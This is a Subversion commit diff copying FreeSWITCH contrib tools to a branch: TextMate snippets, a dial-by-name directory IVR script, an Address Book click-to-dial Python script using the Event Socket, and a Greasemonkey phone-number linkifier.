+	<string>switch_thread_rwlock_unlock($1);</string>
+	<key>name</key>
+	<string>switch_thread_rwlock_unlock</string>
+	<key>tabTrigger</key>
+	<string>rwunlock</string>
+	<key>uuid</key>
+	<string>D7C796FB-389A-4D1B-A64B-BCAE45B4CEAF</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_wrlock.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_wrlock.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_wrlock.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_wrlock.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/switch_thread_rwlock_wrlock.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>switch_thread_rwlock_wrlock($1);</string>
+	<key>name</key>
+	<string>switch_thread_rwlock_wrlock</string>
+	<key>tabTrigger</key>
+	<string>wrlock</string>
+	<key>uuid</key>
+	<string>86B6BF3F-C2C5-413C-A2FD-58D02D4B0AC0</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/untitled.tmSnippet

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/untitled.tmSnippet (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/untitled.tmSnippet) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/untitled.tmSnippet	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/Snippets/untitled.tmSnippet	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>content</key>
+	<string>if (switch_thread_rwlock_trywrlock($1) != SWITCH_STATUS_SUCCESS) {
+	$2
+}
+$0</string>
+	<key>name</key>
+	<string>switch_thread_rwlock_trywrlock</string>
+	<key>tabTrigger</key>
+	<string>trywrlock</string>
+	<key>uuid</key>
+	<string>40D09664-79B0-4983-84FB-8007DD80E0D5</string>
+</dict>
+</plist>

Deleted: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/info.plist

Copied: freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/info.plist (from rev 14471, freeswitch/trunk/contrib/mrene/textmate/FreeSWITCH.tmbundle/info.plist) (0 => 14472)


--- freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/info.plist	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mrene/textmate/FreeSWITCH.tmbundle/info.plist	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>name</key>
+	<string>FreeSWITCH</string>
+	<key>ordering</key>
+	<array>
+		<string>CCE4CE1C-2E71-4EDB-9733-1CDE38FA831E</string>
+		<string>40D09664-79B0-4983-84FB-8007DD80E0D5</string>
+		<string>3F544B00-2D0B-4C60-804E-EF63C609E7D8</string>
+		<string>19295878-37A1-4234-8035-38DA07E17CAA</string>
+		<string>BC5BFA60-002A-40F2-A6FE-72CEE4AAE330</string>
+		<string>C41EC675-F09C-4596-8C14-662403B27D54</string>
+		<string>8940F795-2A0A-411F-AB98-48DEAB07AD69</string>
+		<string>63A39832-470E-4839-8098-4CC537FAA46D</string>
+		<string>091C4224-A49A-4C68-AEA1-A25FEEAB0DE8</string>
+		<string>D7C796FB-389A-4D1B-A64B-BCAE45B4CEAF</string>
+		<string>86B6BF3F-C2C5-413C-A2FD-58D02D4B0AC0</string>
+		<string>FB9588B8-3540-41F6-BC2D-7A6F3083BDA4</string>
+		<string>1D16269D-A544-4909-867E-70028ED7961B</string>
+		<string>8107A427-59E7-4FB0-AA1B-28F4A15A2B63</string>
+		<string>154CD9B8-6383-41C1-9F6E-A574AC6867D2</string>
+	</array>
+	<key>uuid</key>
+	<string>5A009C17-72DB-453A-8BF9-02AFD085B5B8</string>
+</dict>
+</plist>

Copied: freeswitch/branches/seven/contrib/nmartin (from rev 14471, freeswitch/trunk/contrib/nmartin)

Copied: freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory (from rev 14471, freeswitch/trunk/contrib/nmartin/dial_by_name_directory)

Deleted: freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/README

Copied: freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/README (from rev 14471, freeswitch/trunk/contrib/nmartin/dial_by_name_directory/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,64 @@
+Dial By Name Directory
+Nik Martin
+For support, contact me at freeswitch@servercorps.com
+
+=======================
+Nostly From the Original Code:
+Original Code Author:  John Wehle           
+Date: November 6, 2008
+Copyright (c)  2008  Feith Systems and Software, Inc.
+All Rights Reserved
+=======================
+
+
+================================================================================
+Copyright (c) 2008  Feith Systems and Software, Inc.
+and
+Copyright (c) 2009 Nik Martin
+
+Permission is hereby granted, free of charge, to any person
+obtaining a copy of this software and associated documentation
+files (the "Software"), to deal in the Software without
+restriction, including without limitation the rights to use,
+copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the
+Software is furnished to do so, subject to the following
+conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+The original authors of this work, John Wehle, then Nik Martin, must be credited  
+as the original authors of this work.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
+
+
+================================================================================
+
+dial_by_name_directory.xml is a phrase macro for the beginning of the directory app.
+dial_by_name_directory.js is the directory app itself.
+
+Place dial_by_name_directory somewhere in conf/lang/en/ maybe in a folder named directory?
+edit en.xml in conf/lang/en to include the directory/ directory (uh-oh, bad name)
+
+drop dial_by_name_directpry.js in scripts/
+
+in the dial plan, execute the dial by name directory like:
+
+<extension name="dial_by_name">
+	<condition field="destination_number" expression="^6000$">
+		<action application="javascript" data="dial_by_name_directory.js" />
+	</condition>
+</extension>
+
+or, from an IVR:
+
+<entry action="menu-exec-app" digits="9" param="javascript dial_by_name_directory.js"/>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/dial_by_name_directory.js

Copied: freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/dial_by_name_directory.js (from rev 14471, freeswitch/trunk/contrib/nmartin/dial_by_name_directory/dial_by_name_directory.js) (0 => 14472)


--- freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/dial_by_name_directory.js	                        (rev 0)
+++ freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/dial_by_name_directory.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,215 @@
+/**
+=======================
+Mostly From the Original Code aadir.js:
+Original Code Author:  John Wehle           
+Date: November 6, 2008
+Copyright (c)  2008  Feith Systems and Software, Inc.
+All Rights Reserved
+=======================
+
+
+================================================================================
+Copyright (c) 2008  Feith Systems and Software, Inc.
+and
+Copyright (c) 2009 Nik Martin
+
+Permission is hereby granted, free of charge, to any person
+obtaining a copy of this software and associated documentation
+files (the "Software"), to deal in the Software without
+restriction, including without limitation the rights to use,
+copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the
+Software is furnished to do so, subject to the following
+conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+The original authors of this work, John Wehle, then Nik Martin, must be credited  
+as the original authors of this work.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
+
+
+================================================================================
+*/
+
+var digitTimeOut = 3000;
+var interDigitTimeOut = 1000;
+var absoluteTimeOut = 10000;
+var base_dir = session.getVariable ("base_dir");
+var domain = session.getVariable ("domain");
+var voicemail_path = base_dir + "/storage/voicemail/default/" + domain + "/";
+var file_exts = [ ".wav", ".mp3" ];
+var extRE = /^1[0-9][0-9][0-9]$/g;
+var operator = "operator";
+var directory;
+
+var translations = [ "0",
+					"QZ", "ABC", "DEF",
+					"GHI", "JKL", "MNO",
+					"PQRS", "TUV", "WXYZ" ];
+var extension = "";
+var dtmf_digits = "";
+
+
+/**
+ * Build an array of [last_namefirst_name,extension].
+ * matches will then start at last name and go until
+ * a unique match emerges:
+ * martinnik and martinmatt match until the a in matt and i in nik
+ * 
+ * @return      the image at the specified URL
+ */
+
+function build_directory_list() {
+	var i;
+	var name;
+	var number;
+	var dir = apiExecute ("xml_locate", "directory domain name " + domain);
+	var re = /\s+$/g;
+	var length = dir.search (re);
+	if (length == -1)
+	        length = dir.length;
+	dir = dir.substring (0, length);
+	var xdir = new XML (dir);
+	directory = new Array ();
+	i = 0;
+	re = /[^A-Z0-9\s]/gi;
+	for each (var variables in xdir.groups.group.users.user.variables) {
+        
+		name = "";
+		number = "";
+		for each (variable in variables.variable) {
+			if (variable.@name.toString() == "effective_caller_id_name")
+					  name = variable.@value.toString();
+					  
+					  //clean up the name string, letters and numbers only
+					  name = name.replace (re, "");
+			if (variable.@name.toString() == "effective_caller_id_number")
+					  number = variable.@value.toString();
+		}
+		if (name.length == 0 || number.length == 0 || number.search (extRE) == -1)
+				continue;
+		directory[i] = new Array (2);
+		//make the name look like LastnameFirstname
+		name = name.split(" ")[1] + name.split(" ")[0];
+		directory[i][0] = name;
+		directory[i][1] = number;
+        console_log ("debug", directory[i][0] + ":" + directory[i][1] + "\n");
+		i++;
+	}
+}
+
+function directory_lookup (digits) {
+	var i;
+	var match = "";
+	var pattern = "^";
+	var re;
+	if (digits.length && digits[0] == 0)
+		 return 0;
+	for (i = 0; i < digits.length; i++) {
+		if (isNaN (parseInt (digits[i], 10)))
+			return -1;
+		//build a regex pattern to match against
+		pattern += "[" + translations[parseInt (digits[i], 10)] + "]";
+		console_log("debug", "pattern: " + pattern + "\n");
+	}
+	re = new RegExp (pattern, "i");
+	for (i = 0; i < directory.length; i++)
+		 if (directory[i][0].search (re) != -1) {
+		if (! isNaN (parseInt (match, 10)))
+				  return "";
+		match = directory[i][1];
+	}
+	if (isNaN (parseInt (match, 10)))
+		 return -1;
+	return match;
+}
+function on_dtmf (session, type, obj, arg) {
+	if (type == "dtmf") {
+		dtmf_digits += obj.digit;
+		extension = directory_lookup (dtmf_digits)
+		return false;
+	}
+	return true;
+}
+function directory_prompt () {
+	var choice;
+	var index;
+	var repeat;
+	extension = "";
+	choice = "";
+	repeat = 0;
+	while (session.ready() && repeat < 3) {
+		/* play phrase - if digit keyed while playing callback will catch them*/
+		session.sayPhrase ("dial_by_name_directory", "#", "", on_dtmf, "");
+		choice = dtmf_digits;
+		while ( isNaN (parseInt (extension, 10)) ) {
+			if (! session.ready ())
+					  return "";
+			dtmf_digits = session.getDigits (1, '#', digitTimeOut,
+											interDigitTimeOut, absoluteTimeOut);
+			choice += dtmf_digits;
+			console_log ("debug", "choice: "  + choice + "\n");
+			extension = directory_lookup(choice);
+		}
+		if (parseInt (extension, 10) >= 0)
+				break;
+		session.sayPhrase ("voicemail_invalid_extension", "#", "", on_dtmf, "");
+		dtmf_digits = "";
+		extension = "";
+		choice = "";
+		repeat++;
+		session.flushDigits ();
+	}
+	return extension;
+}
+var choice = "";
+var fd;
+var i;
+var recorded_name;
+session.answer ();
+session.execute("sleep", "1000");
+console_log("info", "loading dial-by-name directory\n");
+build_directory_list();
+dtmf_digits = "";
+session.flushDigits ();
+choice = directory_prompt ();
+
+if (! session.ready ()) {
+	session.hangup();
+	exit();
+}
+
+//this must try to determine if the extension is a number, but it seems that
+//non-integer extension are ok in FS.  Leftover from original code
+if ( isNaN (parseInt (choice, 10)) || parseInt (choice, 10) <= 0) {
+	session.execute ("transfer", operator + " XML default");
+	exit();
+}
+
+for (i = 0; i < file_exts.length; i++) {
+	recorded_name = voicemail_path + choice + "/recorded_name" + file_exts[i];
+	fd = new File (recorded_name);
+	if (fd.exists) {
+		session.streamFile (recorded_name);
+		break;
+	}
+//TODO: say <module_name> <say_type> <say_method> <text> << spell out the name if they have not recorded one yet
+
+}
+
+
+session.execute ("phrase", "spell," + choice);
+//TODO: prompt to see if they REALLY want this person, then go back up if not.
+
+session.execute ("transfer", choice + " XML features");
+exit();
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/dial_by_name_directory.xml

Copied: freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/dial_by_name_directory.xml (from rev 14471, freeswitch/trunk/contrib/nmartin/dial_by_name_directory/dial_by_name_directory.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/dial_by_name_directory.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/nmartin/dial_by_name_directory/dial_by_name_directory.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<include><!--This line will be ignored it's here to validate the xml and is optional -->
+
+
+<macro name="dial_by_name_directory">
+    <input pattern="^(.*)$">
+      <match>
+        <action function="play-file" data="ivr/ivr-use_telephone_keypad.wav"/>
+        <!--<action function="say" data="$1" method="pronounced" type="name_spelled"/>-->
+        <action function="play-file" data="ivr/ivr-spell_name.wav"/>
+        <action function="play-file" data="ivr/ivr-last_name_first.wav"/>
+      </match>
+    </input>
+  </macro>
+
+  
+
+</include><!--This line will be ignored it's here to validate the xml and is optional -->

Copied: freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial (from rev 14471, freeswitch/trunk/contrib/nmartin/osx_address_book_dial)

Deleted: freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/README.txt

Copied: freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/README.txt (from rev 14471, freeswitch/trunk/contrib/nmartin/osx_address_book_dial/README.txt) (0 => 14472)


--- freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/README.txt	                        (rev 0)
+++ freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/README.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,43 @@
+README
+
+For support, contact me at freeswitch@servercorps.com
+
+==============================================================
+Copyright (c) 2009 Nik Martin
+
+Permission is hereby granted, free of charge, to any person
+obtaining a copy of this software and associated documentation
+files (the "Software"), to deal in the Software without
+restriction, including without limitation the rights to use,
+copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the
+Software is furnished to do so, subject to the following
+conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+The original author of this work, Nik Martin, must be credited  
+as the original author of this work.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
+
+
+==============================================================
+
+
+Drop all files in ~/Library/Address Book Scripts
+
+Edit fsdial.py to set up your server information and phone number
+
+Start Address Book.  You should now have a FS Dial entry on the popup menu on phone numbers now.
+
+These scripts depend on ESL libs to be loaded on the machine that the scripts run on.  These should be 
+built on a dev machice and loaded on the client machine in the proper locations (python libs)
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/fsdial.py

Copied: freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/fsdial.py (from rev 14471, freeswitch/trunk/contrib/nmartin/osx_address_book_dial/fsdial.py) (0 => 14472)


--- freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/fsdial.py	                        (rev 0)
+++ freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/fsdial.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,82 @@
+#!/usr/bin/env python
+
+
+#==============================================================
+#Copyright (c) 2009 Nik Martin
+#
+#Permission is hereby granted, free of charge, to any person
+#obtaining a copy of this software and associated documentation
+#files (the "Software"), to deal in the Software without
+#restriction, including without limitation the rights to use,
+#copy, modify, merge, publish, distribute, sublicense, and/or sell
+#copies of the Software, and to permit persons to whom the
+#Software is furnished to do so, subject to the following
+#conditions:
+#
+#The above copyright notice and this permission notice shall be
+#included in all copies or substantial portions of the Software.
+#
+#The original author of this work, Nik Martin, must be credited  
+#as the original author of this work.
+#
+#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+#EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+#OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+#NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+#HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+#WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+#FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+#OTHER DEALINGS IN THE SOFTWARE.
+#
+#
+#==============================================================
+
+import string
+import sys
+from optparse import OptionParser
+from ESL import *
+
+
+def main(argv):
+	# change these to match your configuration
+	my_number = "1000" #@mydomain.com
+	server_addr = "fs.ip.add.ress"
+	server_port = "8021"
+	server_auth = "ClueCon"
+	
+		
+	try:
+		
+		parser = OptionParser()
+		parser.add_option("-n", "--number", dest="number",
+								help="number to dial")
+
+		(options, args) = parser.parse_args()
+
+		
+		if not options.number:
+				print "ERROR: destination number required"
+				sys.exit(2)
+				
+		cmd = "api originate {ignore_early_media=true,origination_caller_id_number=" + options.number + ",effective_caller_id_number=" + my_number + "}user/" + my_number + " &transfer(" + options.number + " XML default)"
+		print cmd
+			
+		con = ESLconnection(server_addr, server_port, server_auth)
+	#are we connected?
+
+		if con.connected:
+			
+			e=con.sendRecv(cmd)
+			print e.getBody()
+
+		else:
+
+			print "Not Connected"
+			sys.exit(2)
+
+	except:
+		print "Unexpected error:", sys.exc_info()[0]
+		raise
+	
+if __name__ == "__main__":
+    main(sys.argv[1:])
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/fsdial.scpt

Copied: freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/fsdial.scpt (from rev 14471, freeswitch/trunk/contrib/nmartin/osx_address_book_dial/fsdial.scpt)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/test.scpt

Copied: freeswitch/branches/seven/contrib/nmartin/osx_address_book_dial/test.scpt (from rev 14471, freeswitch/trunk/contrib/nmartin/osx_address_book_dial/test.scpt)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/nmartin/osx_click2dial (from rev 14471, freeswitch/trunk/contrib/nmartin/osx_click2dial)

Deleted: freeswitch/branches/seven/contrib/nmartin/osx_click2dial/README.txt

Copied: freeswitch/branches/seven/contrib/nmartin/osx_click2dial/README.txt (from rev 14471, freeswitch/trunk/contrib/nmartin/osx_click2dial/README.txt) (0 => 14472)


--- freeswitch/branches/seven/contrib/nmartin/osx_click2dial/README.txt	                        (rev 0)
+++ freeswitch/branches/seven/contrib/nmartin/osx_click2dial/README.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+README
+
+Client Side Click2Dial
+
+For support, contact me at freeswitch@servercorps.com
+
+==============================================================
+Copyright (c) 2009 Nik Martin
+
+Permission is hereby granted, free of charge, to any person
+obtaining a copy of this software and associated documentation
+files (the "Software"), to deal in the Software without
+restriction, including without limitation the rights to use,
+copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the
+Software is furnished to do so, subject to the following
+conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+The original author of this work, Nik Martin, must be credited  
+as the original author of this work.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
+
+
+==============================================================
+
+Setup:
+
+Unzip Click2Dial.zip.
+
+Inside fs_dial.app, edit Contents/Resources/fsdial.py to set up your server information and phone number
+
+Import linkify.user.js into greasemonkey (http://www.greasespot.net/)
+
+Double Click fs_dial.app to register it as the handler for dial:// urls
+
+The greasemonkey script will linkify any text on a web page that looks like a phone number.  
+You can edit the reg-ex inside the greasemonkey script to match different types of numbers.
+
+The fsdial.py script assumes you have a default context, and outbound calls should go to this context
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/nmartin/osx_click2dial/click2dial.zip

Copied: freeswitch/branches/seven/contrib/nmartin/osx_click2dial/click2dial.zip (from rev 14471, freeswitch/trunk/contrib/nmartin/osx_click2dial/click2dial.zip)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/nmartin/osx_click2dial/linkify.user.js

Copied: freeswitch/branches/seven/contrib/nmartin/osx_click2dial/linkify.user.js (from rev 14471, freeswitch/trunk/contrib/nmartin/osx_click2dial/linkify.user.js) (0 => 14472)


--- freeswitch/branches/seven/contrib/nmartin/osx_click2dial/linkify.user.js	                        (rev 0)
+++ freeswitch/branches/seven/contrib/nmartin/osx_click2dial/linkify.user.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,78 @@
+// FreeSWITCH Dial Linkify
+// Author: Nik Martin 
+// License: MIT
+// 
+//This script was taken from another script here: http://userscripts.org/scripts/show/1003
+//
+// Matches these patterns:
+//  800-555-1212
+//  (800) 555-1212
+//  (800)555-1212
+//  8005551212
+//    Weak since it does any 10+ digit number
+//  800.555.1212
+// Tested with:
+//  www.yellowpages.com
+//  local.google.com
+//  a9.com
+//
+// International calling sure would be neat
+// ==UserScript==
+// @name           FreeSWITCH Dial Linkify
+// @namespace      
+// @description    Looks for phone numbers in pages and makes hyperlinks out of them. When clicking on the link, FS will connect your phone to the number you clicked
+// @include        *
+// ==/UserScript==
+
+(function () {
+	
+//this is the test to see if the number looks like a phone number or not
+	const trackRegex = /(\+\d\d?)?[\-\s\/\.]?[\(]?(\d){2,4}[\)]?[\-\s\/\.]?\d\d\d[\-\s\/\.]?(\d){3,5}\b/ig;
+
+	function trackUrl(t) {
+		return "dial://org.FreeSWITCH.Dialer?number=" + String(t).replace(/[\(\)\- \.]/g, "");
+	}
+
+    // tags we will scan looking for un-hyperlinked urls
+    var allowedParents = [
+        "abbr", "acronym", "address", "applet", "b", "bdo", "big", "blockquote", "body", 
+        "caption", "center", "cite", "code", "dd", "del", "div", "dfn", "dt", "em", 
+        "fieldset", "font", "form", "h1", "h2", "h3", "h4", "h5", "h6", "i", "iframe",
+        "ins", "kdb", "li", "object", "nobr", "pre", "p", "q", "samp", "small", "span", "strike", 
+        "s", "strong", "sub", "sup", "td", "th", "tt", "u", "var"
+        ];
+    
+    var xpath = "//text()[(parent::" + allowedParents.join(" or parent::") + ")" +
+				//" and contains(translate(., 'HTTP', 'http'), 'http') + " + 
+				"]";
+
+    var candidates = document.evaluate(xpath, document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
+
+    //var t0 = new Date().getTime();
+    for (var cand = null, i = 0; (cand = candidates.snapshotItem(i)); i++) {
+        if (trackRegex.test(cand.nodeValue)) {
+            var span = document.createElement("span");
+            var source = cand.nodeValue;
+            
+            cand.parentNode.replaceChild(span, cand);
+
+            trackRegex.lastIndex = 0;
+            for (var match = null, lastLastIndex = 0; (match = trackRegex.exec(source)); ) {
+                span.appendChild(document.createTextNode(source.substring(lastLastIndex, match.index)));
+                
+                var a = document.createElement("a");
+                a.setAttribute("href", trackUrl(match[0]));
+                a.appendChild(document.createTextNode(match[0]));
+                span.appendChild(a);
+
+                lastLastIndex = trackRegex.lastIndex;
+            }
+
+            span.appendChild(document.createTextNode(source.substring(lastLastIndex)));
+            span.normalize();
+        }
+    }
+   // var t1 = new Date().getTime();
+   // alert("X-Lite Dial linkify took " + ((t1 - t0) / 1000) + " seconds");
+
+})();

Copied: freeswitch/branches/seven/contrib/seven (from rev 14471, freeswitch/trunk/contrib/seven)

Deleted: freeswitch/branches/seven/contrib/seven/README

Copied: freeswitch/branches/seven/contrib/seven/README (from rev 14471, freeswitch/trunk/contrib/seven/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+fsair - FreeSWITCH Air http://wiki.freeswitch.org/wiki/FsAir

Copied: freeswitch/branches/seven/contrib/seven/fsair (from rev 14471, freeswitch/trunk/contrib/seven/fsair)

Deleted: freeswitch/branches/seven/contrib/seven/fsair/.actionScriptProperties

Copied: freeswitch/branches/seven/contrib/seven/fsair/.actionScriptProperties (from rev 14471, freeswitch/trunk/contrib/seven/fsair/.actionScriptProperties) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/.actionScriptProperties	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/.actionScriptProperties	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<actionScriptProperties mainApplicationPath="fsair.mxml" version="3">
+<compiler additionalCompilerArguments="-locale en_US" copyDependentFiles="true" enableModuleDebug="true" generateAccessible="false" htmlExpressInstall="true" htmlGenerate="false" htmlHistoryManagement="false" htmlPlayerVersion="9.0.124" htmlPlayerVersionCheck="true" outputFolderPath="bin-debug" sourceFolderPath="src" strict="true" useApolloConfig="true" verifyDigests="true" warn="true">
+<compilerSourcePath/>
+<libraryPath defaultLinkType="1">
+<libraryPathEntry kind="4" path=""/>
+<libraryPathEntry kind="1" linkType="1" path="libs"/>
+</libraryPath>
+<sourceAttachmentPath/>
+</compiler>
+<applications>
+<application path="fsair.as"/>
+<application path="fsair.mxml"/>
+</applications>
+<modules/>
+<buildCSSFiles/>
+</actionScriptProperties>

Deleted: freeswitch/branches/seven/contrib/seven/fsair/.flexProperties

Copied: freeswitch/branches/seven/contrib/seven/fsair/.flexProperties (from rev 14471, freeswitch/trunk/contrib/seven/fsair/.flexProperties) (0 => 14472)


--- freeswitch/branches/seven/contrib/seven/fsair/.flexProperties	                        (rev 0)
+++ freeswitch/branches/seven/contrib/seven/fsair/.flexProperties	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<flexProperties flexServerType="0" toolCompile="true" useServerFlexSDK="false" version="1"/>

Deleted: freeswitch/branches/seven/contrib/seven/fsair/.project

Copied: freeswitch/branches/seven/contrib/seven/fsair/.project (from rev 14471, freeswitch/trunk/contrib/seven/fsair/.project) (0 => 14472)


